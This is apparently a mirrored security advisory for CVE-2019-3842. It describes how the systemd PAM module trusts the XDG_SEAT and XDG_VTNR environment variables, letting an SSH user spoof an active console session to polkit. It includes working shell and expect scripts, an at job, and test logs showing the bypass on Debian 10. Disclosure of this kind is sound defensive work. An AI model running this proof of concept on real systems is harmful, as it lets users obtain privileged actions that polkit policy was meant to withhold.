systemd Seat Verification Active Session Spoofing

Credit: Jann Horn
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

CVSS Base Score: 4.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

systemd: lack of seat verification in PAM module permits spoofing active session to polkit Related CVE Numbers: CVE-2019-3842. [I am sending this bug report to Ubuntu as requested by systemd at <>.] As documented at <>, for any action, a polkit policy can specify separate levels of required authentication based on whether a client is: - in an active session on a local console - in an inactive session on a local console - or neither This is expressed in the policy using the elements \"allow_any\", \"allow_inactive\" and \"allow_active\". Very roughly speaking, the idea here is to give special privileges to processes owned by users that are sitting physically in front of the machine (or at least, a keyboard and a screen that are connected to a machine), and restrict processes that e.g. belong to users that are ssh'ing into a machine. For example, the ability to refresh the system's package index is restricted this way using a policy in /usr/share/polkit-1/actions/org.freedesktop.packagekit.policy: <action id=\"org.freedesktop.packagekit.system-sources-refresh\"> [...] <description>Refresh system repositories</description> [...] <message>Authentication is required to refresh the system repositories</message> [...] <defaults> <allow_any>auth_admin</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> On systems that use systemd-logind, polkit determines whether a session is associated with a local console by checking whether systemd-logind is tracking the session as being associated with a \"seat\". This happens through polkit_backend_session_monitor_is_session_local() in polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat(). The check whether a session is active works similarly. systemd-logind is informed about the creation of new sessions by the PAM module pam_systemd through a systemd message bus call from pam_sm_open_session() to method_create_session(). The RPC method trusts the information supplied to it, apart from some consistency checks; that is not directly a problem, since this RPC method can only be invoked by root. This means that the PAM module needs to ensure that it doesn't pass incorrect data to systemd-logind. Looking at the code in the PAM module, however, you can see that the seat name of the session and the virtual terminal number come from environment variables: seat = getenv_harder(handle, \"XDG_SEAT\", NULL); cvtnr = getenv_harder(handle, \"XDG_VTNR\", NULL); type = getenv_harder(handle, \"XDG_SESSION_TYPE\", type_pam); class = getenv_harder(handle, \"XDG_SESSION_CLASS\", class_pam); desktop = getenv_harder(handle, \"XDG_SESSION_DESKTOP\", desktop_pam); This is actually documented at <>. After some fixup logic that is irrelevant here, this data is then passed to the RPC method. One quirk of this issue is that a new session is only created if the calling process is not already part of a session (based on the cgroups it is in, parsed from procfs). This means that an attacker can't simply ssh into a machine, set some environment variables, and then invoke a setuid binary that uses PAM (such as \"su\") because ssh already triggers creation of a session via PAM. But as it turns out, the systemd PAM module is only invoked for interactive sessions: # cat /usr/share/pam-configs/systemd Name: Register user sessions in the systemd control group hierarchy Default: yes Priority: 0 Session-Interactive-Only: yes Session-Type: Additional Session: optional So, under the following assumptions: - we can run commands on the remote machine, e.g. via SSH - our account can be used with \"su\" (it has a password and isn't disabled) - the machine has no X server running and is currently displaying tty1, with a login prompt we can have our actions checked against the \"allow_active\" policies instead of the \"allow_any\" policies as follows: - SSH into the machine - use \"at\" to schedule a job in one minute that does the following: * wipe the environment * set XDG_SEAT=seat0 and XDG_VTNR=1 * use \"expect\" to run \"su -c {...} {our_username}\" and enter our user's password * in the shell invoked by \"su\", perform the action we want to run under the \"allow_active\" policy I tested this in a Debian 10 VM, as follows (\"{{{...}}}\" have been replaced), after ensuring that no sessions are active and the VM's screen is showing the login prompt on tty1; all following commands are executed over SSH: ===================================================================== normal_user@deb10:~$ cat #!/bin/sh echo \"===== OUTER TESTING PKCON\" >/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log env -i /home/normal_user/ normal_user@deb10:~$ cat #!/bin/sh export XDG_SEAT=seat0 export XDG_VTNR=1 echo \"===== ENV DUMP =====\" > /tmp/atjob.log env >> /tmp/atjob.log echo \"===== SESSION_OUTER =====\" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo \"===== OUTER LOGIN STATE =====\" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo \"===== MIDDLE TESTING PKCON\" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log /home/normal_user/runsu.expect echo \"=========================\" >> /tmp/atjob.log normal_user@deb10:~$ cat runsu.expect #!/usr/bin/expect spawn /bin/su -c \"/home/normal_user/\" normal_user expect \"Password: \" send \"{{{PASSWORD}}}\ \" expect eof normal_user@deb10:~$ cat #!/bin/sh echo \"===== INNER LOGIN STATE =====\" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo \"===== SESSION_INNER =====\" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo \"===== INNER TESTING PKCON\" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log normal_user@deb10:~$ loginctl SESSION UID USER SEAT TTY 7 1001 normal_user pts/0 1 sessions listed. normal_user@deb10:~$ pkcon refresh -p </dev/null Transaction:\tRefreshing cache Status: \tWaiting in queue Status: \tWaiting for authentication Status: \tFinished Results: Fatal error: Failed to obtain authentication. normal_user@deb10:~$ at -f /home/normal_user/ {{{TIME}}} warning: commands will be executed using /bin/sh job 25 at {{{TIME}}} {{{ wait here until specified time has been reached, plus time for the job to finish running}}} normal_user@deb10:~$ cat /tmp/atjob.log ===== ENV DUMP ===== XDG_SEAT=seat0 XDG_VTNR=1 PWD=/home/normal_user ===== SESSION_OUTER ===== 10:memory:/system.slice/atd.service 9:freezer:/ 8:pids:/system.slice/atd.service 7:perf_event:/ 6:devices:/system.slice/atd.service 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/system.slice/atd.service 0::/system.slice/atd.service ===== OUTER LOGIN STATE ===== SESSION UID USER SEAT TTY 7 1001 normal_user pts/0 1 sessions listed. ===== MIDDLE TESTING PKCON Transaction:\tRefreshing cache Status: \tWaiting in queue Status: \tWaiting for authentication Status: \tFinished Results: Fatal error: Failed to obtain authentication. ===== INNER LOGIN STATE ===== SESSION UID USER SEAT TTY 18 1001 normal_user seat0 pts/1 7 1001 normal_user pts/0 2 sessions listed. ===== SESSION_INNER ===== 10:memory:/user.slice/user-1001.slice/session-18.scope 9:freezer:/ 8:pids:/user.slice/user-1001.slice/session-18.scope 7:perf_event:/ 6:devices:/user.slice 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/user.slice/user-1001.slice/session-18.scope 0::/user.slice/user-1001.slice/session-18.scope ===== INNER TESTING PKCON Transaction:\tRefreshing cache Status: \tWaiting in queue Status: \tWaiting for authentication Status: \tWaiting in queue Status: \tStarting Status: \tLoading cache Percentage:\t0 Percentage:\t50 Percentage:\t100 Percentage:\t0 Percentage:\t50 Percentage:\t100 Status: \tRefreshing software list Status: \tDownloading packages Percentage:\t0 Status: \tRunning Status: \tLoading cache Percentage:\t100 Status: \tFinished Results: Enabled buster InRelease Enabled buster/updates InRelease Enabled buster-debug InRelease ========================= You have new mail in /var/mail/normal_user normal_user@deb10:~$ ===================================================================== This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by:

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019,


Back to Top